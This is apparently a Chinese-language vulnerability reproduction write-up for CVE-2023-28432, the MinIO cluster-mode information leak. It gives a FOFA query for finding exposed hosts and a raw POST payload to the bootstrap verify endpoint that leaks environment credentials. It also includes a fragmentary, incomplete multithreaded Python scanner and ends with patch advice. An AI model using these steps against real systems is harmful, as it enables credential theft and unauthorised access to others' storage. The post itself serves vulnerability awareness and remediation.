0x01 漏洞概述
漏洞编号:CVE-2023-28432 CNNVD-202303-1795
MinIO是美国MinIO公司的一款开源的对象存储服务器, 是一款高性能、分布式的对象存储系统. 它是一款软件产品, 可以100%的运行在标准硬件。即X86等低成本机器也能够很好的运行MinIO。MinIO中存在一处信息泄露漏洞,由于Minio集群进行信息交换的9000端口,在未经配置的情况下通过发送特殊HPPT请求进行未授权访问,进而导致MinIO对象存储的相关环境变量泄露,环境变量中包含密钥信息。泄露的信息中包含登录账号密码。
MinIO 存在信息泄露漏洞,该漏洞源于在集群部署中MinIO会返回所有环境变量,导致信息泄露。
0x02 影响版本
2019-12-17T23-16-33Z <= MinIO < RELEASE.2023-03-20T20-16-18Z
0x03 漏洞复现
方式一:可以通过FOFA进行搜索,搜索的语法格式如下:
title="MinIO Browser"
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
方式二:可以通过Docker容器或Podman等容器复现环境。
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上,通过BP抓包分析。
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
构造Payload
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: 192.168.126.128:9000
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Content-Type: application/x-www-form-urlencoded
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
利用泄露的用户名和密码登录系统。
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
0x04 漏洞检测
基于Python实现的漏洞检测工具
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
源代码
from urllib.parse import urlsplit
from requests.exceptions import RequestException
from urllib3.exceptions import InsecureRequestWarning
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
"Content-Type": "application/x-www-form-urlencoded"
parsed_url = urlsplit(url)
if parsed_url.port == "443" and parsed_url.netloc:
url="https://"+parsed_url.netloc+"/minio/bootstrap/v1/verify"
if parsed_url.netloc and parsed_url.path:
url=parsed_url.scheme+"://"+parsed_url.netloc+"/minio/bootstrap/v1/verify"
url=url+"/minio/bootstrap/v1/verify"
elif (not parsed_url.scheme) and parsed_url.path:
url_1="http://"+url+"/minio/bootstrap/v1/verify"
url_2="https://"+url+"/minio/bootstrap/v1/verify"
modified_string = re.sub(r"[/\].*", "/minio/bootstrap/v1/verify", url)
url_1="http://"+modified_string
url_2="https://"+modified_string
response = requests.post(url, data=data, headers=headers, verify=False , timeout=3)
parsed_url = urlsplit(url)
url=parsed_url.scheme+"://"+parsed_url.netloc
if response.status_code == 200 and ("MinioEnv" in response.text):
parsed_url = urlsplit(url)
url=parsed_url.scheme+"://"+parsed_url.netloc
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
parser = argparse.ArgumentParser(description="读取命令行参数")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='URL 参数')
group.add_argument('-f', '--file', help='file 参数')
args = parser.parse_args()
with open(args.file, 'r') as file:
read_thread = threading.Thread(target=urltest, args=(line,))
threads_queue.append(read_thread)
for thread in threads_queue:
if __name__ == "__main__":
0x05 整改意见
升级补丁以修复漏洞,补丁获取链接:
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
![CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 CVE-2023-28432 MinIO集群模式信息泄露漏洞复现 PoC]()
原文始发于微信公众号(小白嘿课):CVE-2023-28432 MinIO集群模式信息泄露漏洞复现
评论